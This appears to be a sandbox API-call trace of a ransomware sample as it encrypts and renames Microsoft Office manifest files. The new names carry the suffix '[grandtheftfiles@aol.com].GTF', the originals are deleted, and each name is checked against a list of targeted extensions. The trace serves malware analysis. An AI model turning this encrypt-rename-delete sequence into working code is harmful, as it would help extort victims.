	[0077.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0077.549] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1261) returned 1
	[0077.549] CloseHandle (hObject=0x340) returned 1
	[0077.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0077.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0077.550] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.550] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0077.551] GetLastError () returned 0x0
	[0077.551] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0077.552] WriteFile (in: hFile=0x33c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0077.553] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.553] WriteFile (in: hFile=0x33c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.553] SetEndOfFile (hFile=0x33c) returned 1
	[0077.553] CloseHandle (hObject=0x33c) returned 1
	[0077.555] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.555] SetEndOfFile (hFile=0x340) returned 1
	[0077.556] CloseHandle (hObject=0x340) returned 1
	[0077.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 1
	[0077.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0077.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0077.556] lstrlenW (lpString=".doc") returned 4
	[0077.556] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.556] lstrlenW (lpString=".docx") returned 5
	[0077.556] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.556] lstrlenW (lpString=".pdf") returned 4
	[0077.556] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.556] lstrlenW (lpString=".xls") returned 4
	[0077.556] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.556] lstrlenW (lpString=".xlsx") returned 5
	[0077.556] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.556] lstrlenW (lpString=".ppt") returned 4
	[0077.556] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0077.556] lstrlenW (lpString=".zip") returned 4
	[0077.556] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.556] lstrlenW (lpString=".rar") returned 4
	[0077.557] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.557] lstrlenW (lpString=".bz2") returned 4
	[0077.557] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.557] lstrlenW (lpString=".7z") returned 3
	[0077.557] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0077.557] lstrlenW (lpString=".dbf") returned 4
	[0077.557] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0077.557] lstrlenW (lpString=".1cd") returned 4
	[0077.557] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0077.557] lstrlenW (lpString=".jpg") returned 4
	[0077.557] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0077.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0077.557] lstrlenW (lpString=".doc") returned 4
	[0077.557] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.557] lstrlenW (lpString=".docx") returned 5
	[0077.557] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.557] lstrlenW (lpString=".pdf") returned 4
	[0077.557] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.557] lstrlenW (lpString=".xls") returned 4
	[0077.557] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.557] lstrlenW (lpString=".xlsx") returned 5
	[0077.557] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.557] lstrlenW (lpString=".ppt") returned 4
	[0077.557] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0077.557] lstrlenW (lpString=".zip") returned 4
	[0077.557] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.557] lstrlenW (lpString=".rar") returned 4
	[0077.557] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.557] lstrlenW (lpString=".bz2") returned 4
	[0077.557] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.557] lstrlenW (lpString=".7z") returned 3
	[0077.557] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0077.558] lstrlenW (lpString=".dbf") returned 4
	[0077.558] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0077.558] lstrlenW (lpString=".1cd") returned 4
	[0077.558] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0077.558] lstrlenW (lpString=".jpg") returned 4
	[0077.558] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.558] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.558] lstrlenW (lpString="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 53
	[0077.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0077.558] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=9216) returned 1
	[0077.558] CloseHandle (hObject=0x340) returned 1
	[0077.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0077.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0077.558] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.559] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0077.559] GetLastError () returned 0x0
	[0077.559] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x2400, lpOverlapped=0x0) returned 1
	[0077.560] WriteFile (in: hFile=0x33c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x2410, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x2410, lpOverlapped=0x0) returned 1
	[0077.561] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.561] WriteFile (in: hFile=0x33c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.562] SetEndOfFile (hFile=0x33c) returned 1
	[0077.562] CloseHandle (hObject=0x33c) returned 1
	[0077.562] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.563] SetEndOfFile (hFile=0x340) returned 1
	[0077.563] CloseHandle (hObject=0x340) returned 1
	[0077.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1
	[0077.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0077.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0077.564] lstrlenW (lpString=".doc") returned 4
	[0077.564] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.564] lstrlenW (lpString=".docx") returned 5
	[0077.564] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.564] lstrlenW (lpString=".pdf") returned 4
	[0077.564] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.564] lstrlenW (lpString=".xls") returned 4
	[0077.564] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.564] lstrlenW (lpString=".xlsx") returned 5
	[0077.564] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.564] lstrlenW (lpString=".ppt") returned 4
	[0077.564] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0077.564] lstrlenW (lpString=".zip") returned 4
	[0077.564] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.564] lstrlenW (lpString=".rar") returned 4
	[0077.564] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.564] lstrlenW (lpString=".bz2") returned 4
	[0077.564] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.564] lstrlenW (lpString=".7z") returned 3
	[0077.564] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0077.565] lstrlenW (lpString=".dbf") returned 4
	[0077.565] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0077.565] lstrlenW (lpString=".1cd") returned 4
	[0077.565] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0077.565] lstrlenW (lpString=".jpg") returned 4
	[0077.565] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0077.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0077.565] lstrlenW (lpString=".doc") returned 4
	[0077.565] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.565] lstrlenW (lpString=".docx") returned 5
	[0077.565] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.565] lstrlenW (lpString=".pdf") returned 4
	[0077.565] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.565] lstrlenW (lpString=".xls") returned 4
	[0077.565] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.565] lstrlenW (lpString=".xlsx") returned 5
	[0077.565] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.565] lstrlenW (lpString=".ppt") returned 4
	[0077.565] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0077.565] lstrlenW (lpString=".zip") returned 4
	[0077.565] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.565] lstrlenW (lpString=".rar") returned 4
	[0077.565] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.565] lstrlenW (lpString=".bz2") returned 4
	[0077.565] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.565] lstrlenW (lpString=".7z") returned 3
	[0077.565] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0077.565] lstrlenW (lpString=".dbf") returned 4
	[0077.565] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0077.565] lstrlenW (lpString=".1cd") returned 4
	[0077.565] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0077.566] lstrlenW (lpString=".jpg") returned 4
	[0077.566] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.566] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.566] lstrlenW (lpString="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 53
	[0077.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0077.566] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1261) returned 1
	[0077.566] CloseHandle (hObject=0x340) returned 1
	[0077.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0077.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0077.566] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.566] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0077.567] GetLastError () returned 0x0
	[0077.567] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0077.888] WriteFile (in: hFile=0x33c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0077.889] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.889] WriteFile (in: hFile=0x33c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.890] SetEndOfFile (hFile=0x33c) returned 1
	[0077.890] CloseHandle (hObject=0x33c) returned 1
	[0077.890] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.890] SetEndOfFile (hFile=0x340) returned 1
	[0077.891] CloseHandle (hObject=0x340) returned 1
	[0077.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 1
	[0077.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0077.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0077.892] lstrlenW (lpString=".doc") returned 4
	[0077.892] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.892] lstrlenW (lpString=".docx") returned 5
	[0077.892] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.892] lstrlenW (lpString=".pdf") returned 4
	[0077.892] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.892] lstrlenW (lpString=".xls") returned 4
	[0077.892] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.892] lstrlenW (lpString=".xlsx") returned 5
	[0077.892] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.892] lstrlenW (lpString=".ppt") returned 4
	[0077.892] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0077.892] lstrlenW (lpString=".zip") returned 4
	[0077.892] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.892] lstrlenW (lpString=".rar") returned 4
	[0077.892] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.892] lstrlenW (lpString=".bz2") returned 4
	[0077.892] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.892] lstrlenW (lpString=".7z") returned 3
	[0077.892] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0077.892] lstrlenW (lpString=".dbf") returned 4
	[0077.892] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0077.892] lstrlenW (lpString=".1cd") returned 4
	[0077.893] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0077.893] lstrlenW (lpString=".jpg") returned 4
	[0077.893] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0077.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0077.893] lstrlenW (lpString=".doc") returned 4
	[0077.893] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.893] lstrlenW (lpString=".docx") returned 5
	[0077.893] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.893] lstrlenW (lpString=".pdf") returned 4
